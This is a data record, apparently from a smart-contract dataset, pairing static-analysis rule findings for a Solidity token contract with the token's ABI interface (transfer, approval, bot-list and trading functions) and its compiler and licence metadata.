{"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 125, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 127, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 128, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 129, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 131, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 137, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 110, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 106, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 63, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 90, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 95, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 312, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.4+commit.c7e474f2
false
200
Default
Unlicense
false
ipfs://122285ab7ba9c9c2a5ca2c3ae89aec063d2188379a1ab2be08db9f1ae980fea8